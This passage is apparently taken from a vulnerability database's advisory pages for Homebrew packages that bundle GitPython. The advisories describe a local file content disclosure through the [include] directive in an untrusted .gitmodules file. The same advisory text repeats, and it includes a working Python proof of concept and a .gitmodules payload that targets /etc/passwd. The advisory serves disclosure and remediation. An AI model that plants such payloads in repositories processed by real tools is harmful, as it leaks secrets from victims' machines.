GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "shallow-backup",
"purl": "pkg:brew/shallow-backup"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.1"
},
{
"fixed": "6.6_7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-shallow-backup-CVE-2026-78675",
"modified": "2026-09-17T17:55:04Z",
"published": "2026-09-04T10:00:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2211"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)",
"upstream": [
"PYSEC-2026-3785",
"CVE-2026-78675",
"GHSA-7833-fr7j-v32q"
]
}
BREW-SNAKEMAKE-CVE-2026-78675 (PYSEC-2026-3785)
Vulnerability from osv_homebrew – Published: 2026-09-04 10:04 – Updated: 2026-09-17 20:10 – Source website[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:[include] path = /etc/passwd(an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "snakemake",
"purl": "pkg:brew/snakemake"
},
"ranges": [
{
"events": [
{
"introduced": "5.5.3"
},
{
"fixed": "9.25.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
